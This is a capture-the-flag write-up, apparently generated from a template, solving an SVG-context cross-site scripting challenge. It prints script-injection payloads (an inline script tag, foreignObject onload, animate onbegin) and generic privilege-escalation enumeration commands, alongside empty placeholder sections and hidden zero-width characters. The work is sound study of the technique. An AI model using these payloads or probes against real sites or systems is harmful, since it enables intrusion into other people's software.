← Back to Writeups
HTBN/AWeb
Bookmark

Easy 3

XESXOR8/23/20262 min read
#web#htb#n/a

Easy 3

Platform: Web Kids20 | Category: Web | Type: Challenge | Difficulty: Easy | OS: NA | Author: D3v0o0Nu11 | Date: 2026-03-09 | Status: Solved Techniques: svg_context_xss, svg_script_injection

Summary

SiBears XSS School challenge. User input is placed inside an SVG element. Goal: execute prompt("sibears").

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
PortServiceVersionNotes
<PORT><SVC><VER><notes>

Enumeration highlights

  • Event: web-kids20 | ID: 20260309_web_kids20_sibearsxss3
  • Tags: xss, svg, sibears, svg_xss, inline_script
  • Indicators: SVG context, user input inside SVG element, SVG namespace
  • Source: 20260309_web_kids20_sibearsxss3.md

Foothold

Vulnerability / Misconfiguration

  1. Svg_context_xss
  2. Svg_script_injection
<command>

Exploitation

  • See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

  1. N/A for challenge-type writeup; see exploitation above.
  2. Flag obtained via challenge solve.
<command>

Flags

FlagLocationValue
flagREDACTED

Key Takeaways / Lessons

  • svg_context_xss
  • svg_script_injection
  • Tags: xss, svg, sibears, svg_xss, inline_script

Original Writeup

<details><summary>Click to expand original content</summary>

Description

SiBears XSS School challenge. User input is placed inside an SVG element. Goal: execute prompt("sibears").

URL: http://109.233.56.90:11659/xss/easy/3

Analysis

The escape function places user input inside an SVG document:

function escape(s) {
  return '<svg xmlns="http://www.w3.org/1999/svg"> <circle r="10" fill="red"></circle>' + s + ' </svg>';
}

Key feature: SVG (Scalable Vector Graphics) is an XML-based format that supports embedded scripts. Unlike regular HTML context, SVG allows using the <script> tag directly inside it. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

SVG and JavaScript:

  • SVG supports inline <script> tags
  • Scripts inside SVG execute in the page context
  • This makes SVG potentially dangerous with user input

Solution

Payload — simply add a script tag inside SVG:

<script>prompt("sibears")</script>

Resulting HTML:

<svg xmlns="http://www.w3.org/1999/svg"> <circle r="10" fill="red"></circle><script>prompt("sibears")</script> </svg>

Breakdown:

  • SVG context allows embedding <script> tags
  • Script executes when SVG is rendered
  • No need to escape the context — just add the script ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Alternative payloads for SVG:

  • <script>prompt("sibears")</script> — direct script
  • <foreignObject><body onload=prompt("sibears")></foreignObject> — via foreignObject
  • <animate onbegin=prompt("sibears")> — via SVG animation events ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍
</details>

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR